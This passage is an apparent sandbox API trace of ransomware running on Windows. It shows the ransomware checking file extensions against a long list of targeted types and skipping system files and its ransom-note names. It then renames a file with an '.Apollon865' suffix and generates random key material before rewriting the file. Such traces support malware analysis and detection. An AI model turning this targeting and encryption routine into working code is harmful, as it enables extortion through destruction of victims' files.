	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.733] lstrlenW (lpString="dbv") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.733] lstrlenW (lpString="dbx") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.733] lstrlenW (lpString="dcb") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.733] lstrlenW (lpString="dct") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.733] lstrlenW (lpString="dcx") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.733] lstrlenW (lpString="ddl") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.733] lstrlenW (lpString="dlis") returned 4
	[0081.733] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.733] lstrlenW (lpString="dp1") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.733] lstrlenW (lpString="dqy") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.733] lstrlenW (lpString="dsk") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.733] lstrlenW (lpString="dsn") returned 3
	[0081.733] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.733] lstrlenW (lpString="dtsx") returned 4
	[0081.733] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.733] lstrlenW (lpString="dxl") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.734] lstrlenW (lpString="eco") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.734] lstrlenW (lpString="ecx") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.734] lstrlenW (lpString="edb") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.734] lstrlenW (lpString="epim") returned 4
	[0081.734] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.734] lstrlenW (lpString="fcd") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.734] lstrlenW (lpString="fdb") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.734] lstrlenW (lpString="fic") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.734] lstrlenW (lpString="flexolibrary") returned 12
	[0081.734] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.734] lstrlenW (lpString="fm5") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.734] lstrlenW (lpString="fmp") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.734] lstrlenW (lpString="fmp12") returned 5
	[0081.734] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.734] lstrlenW (lpString="fmpsl") returned 5
	[0081.734] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.734] lstrlenW (lpString="fol") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.734] lstrlenW (lpString="fp3") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.734] lstrlenW (lpString="fp4") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.734] lstrlenW (lpString="fp5") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.734] lstrlenW (lpString="fp7") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.734] lstrlenW (lpString="fpt") returned 3
	[0081.734] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.734] lstrlenW (lpString="frm") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.735] lstrlenW (lpString="gdb") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.735] lstrlenW (lpString="gdb") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.735] lstrlenW (lpString="grdb") returned 4
	[0081.735] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.735] lstrlenW (lpString="gwi") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.735] lstrlenW (lpString="hdb") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.735] lstrlenW (lpString="his") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.735] lstrlenW (lpString="ib") returned 2
	[0081.735] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.735] lstrlenW (lpString="idb") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.735] lstrlenW (lpString="ihx") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.735] lstrlenW (lpString="itdb") returned 4
	[0081.735] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.735] lstrlenW (lpString="itw") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.735] lstrlenW (lpString="jet") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.735] lstrlenW (lpString="jtx") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.735] lstrlenW (lpString="kdb") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.735] lstrlenW (lpString="kexi") returned 4
	[0081.735] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.735] lstrlenW (lpString="kexic") returned 5
	[0081.735] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.735] lstrlenW (lpString="kexis") returned 5
	[0081.735] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.735] lstrlenW (lpString="lgc") returned 3
	[0081.735] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.736] lstrlenW (lpString="lwx") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.736] lstrlenW (lpString="maf") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.736] lstrlenW (lpString="maq") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.736] lstrlenW (lpString="mar") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.736] lstrlenW (lpString="marshal") returned 7
	[0081.736] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.736] lstrlenW (lpString="mas") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.736] lstrlenW (lpString="mav") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.736] lstrlenW (lpString="maw") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.736] lstrlenW (lpString="mdbhtml") returned 7
	[0081.736] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.736] lstrlenW (lpString="mdn") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.736] lstrlenW (lpString="mdt") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.736] lstrlenW (lpString="mfd") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.736] lstrlenW (lpString="mpd") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.736] lstrlenW (lpString="mrg") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.736] lstrlenW (lpString="mud") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.736] lstrlenW (lpString="mwb") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.736] lstrlenW (lpString="myd") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.736] lstrlenW (lpString="ndf") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.736] lstrlenW (lpString="nnt") returned 3
	[0081.736] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.737] lstrlenW (lpString="nrmlib") returned 6
	[0081.737] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.737] lstrlenW (lpString="ns2") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.737] lstrlenW (lpString="ns3") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.737] lstrlenW (lpString="ns4") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.737] lstrlenW (lpString="nsf") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.737] lstrlenW (lpString="nv") returned 2
	[0081.737] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.737] lstrlenW (lpString="nv2") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.737] lstrlenW (lpString="nwdb") returned 4
	[0081.737] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.737] lstrlenW (lpString="nyf") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.737] lstrlenW (lpString="odb") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.737] lstrlenW (lpString="odb") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.737] lstrlenW (lpString="oqy") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.737] lstrlenW (lpString="ora") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.737] lstrlenW (lpString="orx") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.737] lstrlenW (lpString="owc") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.737] lstrlenW (lpString="p96") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.737] lstrlenW (lpString="p97") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.737] lstrlenW (lpString="pan") returned 3
	[0081.737] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.737] lstrlenW (lpString="pdb") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.738] lstrlenW (lpString="pdm") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.738] lstrlenW (lpString="pnz") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.738] lstrlenW (lpString="qry") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.738] lstrlenW (lpString="qvd") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.738] lstrlenW (lpString="rbf") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.738] lstrlenW (lpString="rctd") returned 4
	[0081.738] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.738] lstrlenW (lpString="rod") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.738] lstrlenW (lpString="rodx") returned 4
	[0081.738] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.738] lstrlenW (lpString="rpd") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.738] lstrlenW (lpString="rsd") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.738] lstrlenW (lpString="sas7bdat") returned 8
	[0081.738] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.738] lstrlenW (lpString="sbf") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.738] lstrlenW (lpString="scx") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.738] lstrlenW (lpString="sdb") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.738] lstrlenW (lpString="sdc") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.738] lstrlenW (lpString="sdf") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.738] lstrlenW (lpString="sis") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.738] lstrlenW (lpString="spq") returned 3
	[0081.738] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.738] lstrlenW (lpString="te") returned 2
	[0081.739] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.739] lstrlenW (lpString="teacher") returned 7
	[0081.739] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.739] lstrlenW (lpString="tmd") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.739] lstrlenW (lpString="tps") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.739] lstrlenW (lpString="trc") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.739] lstrlenW (lpString="trc") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.739] lstrlenW (lpString="trm") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.739] lstrlenW (lpString="udb") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.739] lstrlenW (lpString="udl") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.739] lstrlenW (lpString="usr") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.739] lstrlenW (lpString="v12") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.739] lstrlenW (lpString="vis") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.739] lstrlenW (lpString="vpd") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.739] lstrlenW (lpString="vvv") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.739] lstrlenW (lpString="wdb") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.739] lstrlenW (lpString="wmdb") returned 4
	[0081.739] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.739] lstrlenW (lpString="wrk") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.739] lstrlenW (lpString="xdb") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.739] lstrlenW (lpString="xld") returned 3
	[0081.739] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.739] lstrlenW (lpString="xmlff") returned 5
	[0081.740] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.740] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.Apollon865") returned 84
	[0081.740] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.748] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.748] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=556896) returned 1
	[0081.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.749] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.749] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.749] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.750] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x88260, lpName=0x0) returned 0x15c
	[0081.752] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x88260) returned 0x210000
	[0081.894] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.894] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.894] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.895] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0081.900] CloseHandle (hObject=0x15c) returned 1
	[0081.900] CloseHandle (hObject=0x9c) returned 1
	[0081.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.900] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.903] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="..") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="windows") returned -1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="bootmgr") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="temp") returned -1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="boot") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="ids.txt") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="perflogs") returned 1
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="MSBuild") returned 1
	[0081.903] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0081.903] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned 73
	[0081.903] lstrcpyW (in: lpString1=0x119e670, lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll"
	[0081.903] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0081.903] lstrlenW (lpString="Apollon865") returned 10
	[0081.903] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0081.903] lstrlenW (lpString=".dll") returned 4
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".dll") returned 1
	[0081.903] lstrlenW (lpString=".lnk") returned 4
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".lnk") returned 1
	[0081.903] lstrlenW (lpString=".ini") returned 4
	[0081.903] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".ini") returned 1
	[0081.904] lstrlenW (lpString=".sys") returned 4
	[0081.904] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".sys") returned 1
	[0081.904] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0081.904] lstrlenW (lpString="bak") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.904] lstrlenW (lpString="ba_") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.904] lstrlenW (lpString="dbb") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.904] lstrlenW (lpString="vmdk") returned 4
	[0081.904] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.904] lstrlenW (lpString="rar") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.904] lstrlenW (lpString="zip") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.904] lstrlenW (lpString="tgz") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.904] lstrlenW (lpString="vbox") returned 4
	[0081.904] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.904] lstrlenW (lpString="vdi") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.904] lstrlenW (lpString="vhd") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.904] lstrlenW (lpString="vhdx") returned 4
	[0081.904] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.904] lstrlenW (lpString="avhd") returned 4
	[0081.904] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.904] lstrlenW (lpString="db") returned 2
	[0081.904] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.904] lstrlenW (lpString="db2") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.904] lstrlenW (lpString="db3") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.904] lstrlenW (lpString="dbf") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.904] lstrlenW (lpString="mdf") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.904] lstrlenW (lpString="mdb") returned 3
	[0081.904] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.905] lstrlenW (lpString="sql") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.905] lstrlenW (lpString="sqlite") returned 6
	[0081.905] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.905] lstrlenW (lpString="sqlite3") returned 7
	[0081.905] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.905] lstrlenW (lpString="sqlitedb") returned 8
	[0081.905] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.905] lstrlenW (lpString="xml") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.905] lstrlenW (lpString="$er") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.905] lstrlenW (lpString="4dd") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.905] lstrlenW (lpString="4dl") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.905] lstrlenW (lpString="^^^") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.905] lstrlenW (lpString="abs") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.905] lstrlenW (lpString="abx") returned 3
	[0081.905] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.905] lstrlenW (lpString="accdb") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.905] lstrlenW (lpString="accdc") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.905] lstrlenW (lpString="accde") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.905] lstrlenW (lpString="accdr") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.905] lstrlenW (lpString="accdt") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.905] lstrlenW (lpString="accdw") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.905] lstrlenW (lpString="accft") returned 5
	[0081.905] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.905] lstrlenW (lpString="adb") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.906] lstrlenW (lpString="adb") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.906] lstrlenW (lpString="ade") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.906] lstrlenW (lpString="adf") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.906] lstrlenW (lpString="adn") returned 3
	[0081.906] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
